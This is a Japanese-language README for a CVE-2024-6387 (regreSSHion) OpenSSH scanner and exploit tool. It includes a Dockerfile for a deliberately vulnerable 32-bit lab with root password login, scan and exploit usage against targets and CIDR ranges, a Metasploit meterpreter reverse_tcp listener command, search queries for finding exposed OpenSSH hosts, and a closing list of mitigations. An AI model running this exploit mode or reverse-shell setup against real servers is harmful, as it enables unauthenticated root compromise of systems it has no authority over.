
# CVE-2024-6387(regreSSHion)スキャナー OpenSSHサーバーにおけるCVE-2024-6387(regreSSHion)をスキャンし、悪用します。マルチスレッドスキャン、バナー取得、グレースタイム検出、リバースシェルペイロードによるエクスプロイトモードを備えています。
これは本質的に統計的な脆弱性であり、レースコンディションに勝利して任意のコードを正常に実行するには、非常に多くの試行が必要です。攻撃者は多くの障害を克服する必要があると、Schwartz氏はSecurityWeekに語った。「最良のシナリオでも、最もよく知られた脆弱性の悪用には4時間以上かかります。」
OpenSSH 9.8のリリースノートで、開発者らはこの脆弱性がglibcベースの32ビットLinuxシステムでのみ確認されており、OpenBSDは影響を受けないと述べています。
環境はDockerを使用して構築します。
# 1.1. Dockerfileの作成
FROM i386/ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
RUN dpkg --add-architecture i386 && apt-get update && apt-get install -y \
build-essential \
wget \
curl \
libssl-dev:i386 \
zlib1g-dev:i386
RUN groupadd sshd && useradd -g sshd -s /bin/false sshd
RUN wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.2p1.tar.gz && \
tar -xzf openssh-9.2p1.tar.gz && \
cd openssh-9.2p1 && \
./configure && make && make install
RUN mkdir /var/run/sshd
RUN echo 'root:password' | chpasswd
RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /usr/local/etc/sshd_config && \
sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /usr/local/etc/sshd_config && \
echo 'MaxStartups 100:30:200' >> /usr/local/etc/sshd_config
RUN echo '#!/bin/bash\n/usr/local/sbin/sshd -V' > /show_version.sh && \
chmod +x /show_version.sh
EXPOSE 22
CMD ["/usr/local/sbin/sshd", "-D"]
sudo docker build --platform=linux/386 -t vulnerable-openssh:9.2p1 .
sudo docker run --platform=linux/386 -d -p 2222:22 --name vuln-ssh-32bit vulnerable-openssh:9.2p1
CVE-2024-6387.py - PoCこのエクスプロイトは32ビットのOpenSSHサーバーでのみ動作します。これは、PoCが32ビットポインタを使用しているためです! 一部のバージョンはすでにパッチが適用されており、すべてのサーバーが脆弱であるわけではないことも知られています。 テスト済み: Kali Linux、ParrotSec、Ubuntu 22.04
OpenSSHサーバーにおけるリモート認証なしコード実行の脆弱性
CVE-2024-6387.pyは、最近発見されたregreSSHion脆弱性(CVE-2024-6387)を標的として、脆弱なバージョンのOpenSSHを実行しているサーバーを特定するために設計された、軽量で効率的なツールです。このスクリプトは、複数のIPアドレス、ドメイン名、CIDRネットワーク範囲の迅速なスキャンを容易にし、潜在的な脆弱性を検出してインフラストラクチャの安全性を確保します。
OpenSSHのサーバー(sshd)でシグナルハンドラのレースコンディションが発見されました。クライアントがLoginGraceTime秒(デフォルトでは120秒、古いOpenSSHバージョンでは600秒)以内に認証を行わない場合、sshdのSIGALRMハンドラが非同期に呼び出されます。しかし、このシグナルハンドラはsyslog()など、async-signal-safeではないさまざまな関数を呼び出します。
技術的な詳細はこちらで確認できます。
この欠陥は、Qualysの研究者によって2024年5月に発見され、識別子CVE-2024-6387が割り当てられました。これはsshdのシグナルハンドラのレースコンディションによるもので、認証されていないリモート攻撃者がrootとして任意のコードを実行できるようになります。
「クライアントがLoginGraceTime秒(デフォルトでは120秒)以内に認証を行わない場合、sshdのSIGALRMハンドラが非同期に呼び出され、async-signal-safeではないさまざまな関数を呼び出します。」
「リモートの認証されていない攻撃者は、この欠陥を利用してroot権限で任意のコードを実行できます。」
要件: python3 最新版
### コマンドライン引数
mode: 操作モードを選択します。選択肢は scan または exploit です。
-T, --targets: IPアドレス、ドメイン名、IPアドレスを含むファイルパス、またはCIDRネットワーク範囲。
-f, --outputfile: 結果を保存するファイル(例: result.json)。
-g, --gracetimecheck: バージョン特定後にLoginGraceTimeの緩和策を確認するための待機時間(秒)(デフォルト: 120秒)。
-n, --nic: ネットワークNIC(デフォルト: 'eth0')。
-o, --output: 結果の出力形式(選択肢: 'csv'、'txt'、'json')。
-p, --port: チェックまたはエクスプロイトするポート番号(デフォルト: 22)。
-s, --speed: レースコンディションの可能性を高めるためのスレッド数(デフォルト: 10)。
-t, --timeout: 接続タイムアウト(秒)(デフォルト: 1秒)。
-H, --resolve-hostnames: ホスト名を解決する
python3 CVE-2024-6387.py scan -T example.com -p 22
python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0
最初に以下のコマンドを実行し({yourip}ハンドラを変更)、その後上記のコマンドでエクスプロイトを実行するだけです。
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"
このツールは、読みやすさを向上させるためにコンソールに色分けされた出力を提供します:
緑: 接続または操作の成功。 赤: 接続の失敗またはエラー。 黄: 警告または注目すべき情報。 シアン: 一般的な情報またはステータスの更新。
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-accessパッチ管理: OpenSSHの利用可能なパッチを迅速に適用することは、脆弱性のギャップを埋めるために重要です。タイムリーなパッチ適用により、既知のエクスプロイトがシステムに対して悪用されるのを防ぎ、攻撃者の機会の窓を減らします。
アクセス制御の強化: ネットワークベースの制御を通じてSSHアクセスを制限することは、追加の防御層を提供します。このアプローチは、SSH接続を承認されたネットワークまたはIPアドレスのみに制限することで、潜在的な攻撃者への露出を最小限に抑えます。ファイアウォールルールなどのツールを実装したり、安全なアクセスにVPNを使用したりすることで、これらの制限を効果的に強制できます。
ネットワークセグメンテーション: ネットワークをセグメントに分割することは、潜在的な侵害の影響を封じ込めるのに役立ちます。重要度の低いネットワーク部分から重要なシステムと機密データを分離することで、攻撃者による横方向の移動のリスクを軽減します。このセグメンテーションは、厳格なアクセス制御と監視を組み合わせることで、これらのセグメントへの不正な侵入試行を検出して対応できます。
侵入検知システム(IDS): IDSまたは侵入防止システム(IPS)を導入することで、ネットワークトラフィックとシステムログのリアルタイム監視が可能になります。これらのシステムは、regreSSHionの脆弱性に関連する不審なアクティビティや潜在的なエクスプロイト試行を検出できます。このようなシステムによってトリガーされるアラートにより、重大な損害が発生する前に迅速な調査と緩和が可能になります。
エクスプロイト試行の監視: ネットワークとシステムログの継続的な監視が重要です。OpenSSHの脆弱性を悪用しようとする試みを示す可能性のある異常なパターンやアクティビティに注意してください。この積極的なアプローチは、脅威が害を及ぼす前に特定して対応するのに役立ちます。